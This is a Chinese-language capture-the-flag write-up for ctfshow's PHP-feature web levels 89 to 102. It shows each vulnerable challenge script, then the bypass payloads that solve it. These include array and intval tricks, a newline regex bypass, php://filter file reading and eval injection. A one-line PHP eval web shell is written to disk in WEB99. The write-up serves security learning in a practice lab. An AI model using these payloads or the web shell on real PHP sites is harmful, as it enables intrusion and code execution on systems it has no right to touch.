CTFSHOW WEB入门 php特性

WEB89

 <?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-18 15:38:51
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


include("flag.php");
highlight_file(__FILE__);

if(isset($_GET['num'])){
    $num = $_GET['num'];
    if(preg_match("/[0-9]/", $num)){
        die("no no no!");
    }
    if(intval($num)){
        echo $flag;
    }
} 

 

preg_match — 执行匹配正则表达式
intval() 函数用于获取变量的整数值。

本题考点是数组绕过正则表达式

需要给num传参

?num[]=1;

得到flag:ctfshow{df6f1c62-9c0a-4024-8ef0-b137a612b108}

 

WEB90

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==="4476"){
        die("no no no!");
    }
    if(intval($num,0)===4476){
        echo $flag;
    }else{
        echo intval($num,0);
    }
} 

 

intval ( mixed $value , int $base = 10 ) : int
如果 base0,通过检测 value 的格式来决定使用的进制:
如果字符串包括了 "0x" (或 "0X") 的前缀,使用 16 进制 (hex);否则,
如果字符串以 "0" 开始,使用 8 进制(octal);否则,
将使用 10 进制 (decimal)。

 

intval('4476.0')===4476    小数点  
intval('+4476.0')===4476   正负号
intval('4476e0')===4476    科学计数法
intval('0x117c')===4476    16进制
intval('010574')===4476    8进制
intval(' 010574')===4476   8进制+空格

 

num=010574

得到flag:ctfshow{054fb7b5-3b3b-47e3-a220-80f0df227382}

 

WEB91

show_source(__FILE__);
include('flag.php');
$a=$_GET['cmd'];
if(preg_match('/^php$/im', $a)){
    if(preg_match('/^php$/i', $a)){
        echo 'hacker';
    }
    else{
        echo $flag;
    }
}
else{
    echo 'nonononono';
} 

 

i 
不区分(ignore)大小写

m
多(more)行匹配
若存在换行\n并且有开始^或结束$符的情况下,
将以换行为分隔符,逐行进行匹配
$str = "abc\nabc";
$preg = "/^abc$/m";
preg_match($preg, $str,$matchs);
这样其实是符合正则表达式的,因为匹配的时候 先是匹配换行符前面的,接着匹配换行符后面的,两个都是abc所以可以通过正则表达式。

s
特殊字符圆点 . 中包含换行符
默认的圆点 . 是匹配除换行符 \n 之外的任何单字符,加上s之后, .包含换行符
$str = "abggab\nacbs";
$preg = "/b./s";
preg_match_all($preg, $str,$matchs);
这样匹配到的有三个 bg b\n bs

A
强制从目标字符串开头匹配;

D
如果使用$限制结尾字符,则不允许结尾有换行;

e
配合函数preg_replace()使用, 可以把匹配来的字符串当作正则表达式执行;

payload:%0aphp

%0aphp 经过第一个匹配时,以换行符为分割也就是%0a,前面因为是空的,所以只匹配换行符后面的,所以可以通过。
经过第二个正则表达式时,因为我们是%0aphp 不符合正则表达式的以php开头以php结尾。所以无法通过,最后输出flag

得到flag:ctfshow{c08f965a-8abf-4482-9822-86a9e299e547}

 

WEB92

直接用上面的数字做出来了(web90)

看了下提示

intval()函数如果$base为0则$var中存在字母的话遇到字母就停止读取 但是e这个字母比较特殊,可以在PHP中不是科学计数法。所以为了绕过前面的==4476我们就可以构造 4476e123 其实不需要是e其他的字母也可以

 

WEB93

过滤了字母但是我们可以使用其他进制就是计算 0b?? : 二进制0??? : 八进制 0X?? : 16进制 payload : ?num=010574

 

WEB94

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==="4476"){
        die("no no no!");
    }
    if(preg_match("/[a-z]/i", $num)){
        die("no no no!");
    }
    if(!strpos($num, "0")){
        die("no no no!");
    }
    if(intval($num,0)===4476){
        echo $flag;
    }
}

这题重点在于绕过strpos

函数:strpos(string, find [,start])
说明:
string是规定被搜索的字符串;find是规定要查找的字符;start是规定开始搜索的位置。
返回字符串在另一字符串中第一次出现的位置,如果没有找到字符串则返回 FALSE。
注释:字符串位置从 0 开始,不是从 1 开始。

 

看了一下可以用空格绕过 payload:%0a010574

提示

在93的基础上过滤了开头为0的数字 这样的话就不能使用进制转换来进行操作 我们可以使用小数点来进行操作。这样通过intval()函数就可以变为int类型的4476 ?num=4476.0

 

WEB95

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==4476){
        die("no no no!");
    }
    if(preg_match("/[a-z]|\./i", $num)){
        die("no no no!!");
    }
    if(!strpos($num, "0")){
        die("no no no!!!");
    }
    if(intval($num,0)===4476){
        echo $flag;
    }
}

将4476转换为八进制并用空格绕过 strpos

payload: 010574

得到flag:ctfshow{cdf8b99f-7e29-4677-b4c3-dfd97bf9f610}

 

WEB96

highlight_file(__FILE__);

if(isset($_GET['u'])){
    if($_GET['u']=='flag.php'){
        die("no no no");
    }else{
        highlight_file($_GET['u']);
    }


} 

路径问题

下面方式在highlight_file中均等效于flag.php,也即本题的payload

/var/www/html/flag.php              绝对路径
./flag.php                          相对路径
php://filter/resource=flag.php      php伪协议   

得到flag:ctfshow{aa0b1c3b-53c5-4d28-a14a-21670590d026}

 

WEB97

include("flag.php");
highlight_file(__FILE__);
if (isset($_POST['a']) and isset($_POST['b'])) {
if ($_POST['a'] != $_POST['b'])
if (md5($_POST['a']) === md5($_POST['b']))
echo $flag;
else
print 'Wrong.';
} 

此处的考察点为php中hash比较缺陷

原因:md5()函数无法处理数组,如果传入的为数组,会返回NULL,所以两个数组经过加密后得到的都是NULL,也就是强相等的。

payload:a[]=1&b[]=2 但这题不知道怎么的我做不出来

后来做出来了

POST传参

得到flag:ctfshow{44d00065-c9fe-490c-90e0-87362fd86d08}

另外还有篇md5碰撞的文章:https://www.cnblogs.com/echoDetected/p/12309225.html

 

WEB98

include("flag.php");
$_GET?$_GET=&$_POST:'flag';
$_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';
$_GET['flag']=='flag'?$_GET=&$_SERVER:'flag';
highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__); 

借鉴了大佬的博客

$_GET?$_GET=&$_POST:'flag';表示如果GET传参,则用POST传参flag覆盖
$_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';同理如果GET传参是flag字符串,则用cookie传参的flag覆盖以下同理$_GET['flag']=='flag'?$_GET=&$_SERVER:'flag';
highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__); 如果传参的HTTP_FLAG为flag字符串,则读取flag文件,最后highlight显示

所以用GET方式随便传一个 用POST方式传一个HTTP_FLAG=flag;

payload: GET flag=1 POST HTTP_FLAG=flag

 得到flag:ctfshow{7e9a551a-5b71-4ad0-8ead-8e7b7dd85188}

 

WEB99

highlight_file(__FILE__);
$allow = array();
for ($i=36; $i < 0x36d; $i++) { 
    array_push($allow, rand(1,$i));
}
if(isset($_GET['n']) && in_array($_GET['n'], $allow)){
    file_put_contents($_GET['n'], $_POST['content']);
} 
array_push() 函数向第一个参数的数组尾部添加一个或多个元素(入栈),然后返回新数组的长度。

该函数等于多次调用 $array[] = $value。
in_array() 函数搜索数组中是否存在指定的值。(注意:in_array()函数有漏洞 没有设置第三个参数 就可以形成自动转换)
file_put_contents() 函数把一个字符串写入文件中。

与依次调用 fopen(),fwrite() 以及 fclose() 功能一样。

重点在于in_array()函数的漏洞 给n传参,1.php 直接被转化为1和allow中的值比较

之后使用file_put_contents函数创造文件并构造shell

payload:GET n=1.php POST content=<?php @eval($_POST["a"]);?>

之后查看当前目录文件

 

访问flag36d.php文件

查看源代码得到flag

 

WEB100

is_numeric() 函数用于检测变量是否为数字或数字字符串。
and/&& 和 or/|| 这两组运算符的优先级竟然是不一样的. and和or的优先级是低于=的

 

highlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
    if(!preg_match("/\;/", $v2)){
        if(preg_match("/\;/", $v3)){
            eval("$v2('ctfshow')$v3");
        }
    }
    
} 

首先给v0赋值,根据and的特性,只要v1是数字,v0就会是true

根据两个preg_match()函数,以及eval("$v2('ctfshow')$v3")可以判断v2要传入命令,v3传入;

使用ReflectionClass做题

ReflectionClass 类报告了一个类的有关信息。 

 

payload:v1=1&&v2=echo new ReflectionClass&&v3=;

 

使用var_dump()做题

var_dump — 打印变量的相关信息

 

payload:?v1=1&v2=var_dump($ctfshow)&v3=;

或者

payload:?v1=1&v2=var_dump($ctfshow)/*&v3=*/;

得到flag

注意,626624430x2dedf00x2d4b980x2dae500x2dc539bdf350e1 中的0x2d要替换为 - ,ASCII编码

 

WEB101

highlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
    if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\)|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\;|\?|[0-9]/", $v2)){
        if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\(|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\?|[0-9]/", $v3)){
            eval("$v2('ctfshow')$v3");
        }
    }
    
} 

过滤了很多东西,不能用var_dump了

用ReflectionClass

payload:v1=1&&v2=echo new ReflectionClass&&v3=;

得到flag

 

其中将0x2d用-替代之后,发现为4d7b126e-041c-4d52-8095-e9c1a9898ba 少了以为,直接用0 1 2 3 4 5 6 7 8 9 a b c d e f 这十六个爆破

最后得到flag ctfshow{4d7b126e-041c-4d52-8095-e9c1a9898baa}

WEB102

highlight_file(__FILE__);
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){
    $s = substr($v2,2);
    $str = call_user_func($v1,$s);
    echo $str;
    file_put_contents($v3,$str);
}
else{
    die('hacker');
} 
substr() 函数返回字符串的一部分。

 

posted @ 2021-04-17 18:57  zap162  阅读(110)  评论(0)    收藏  举报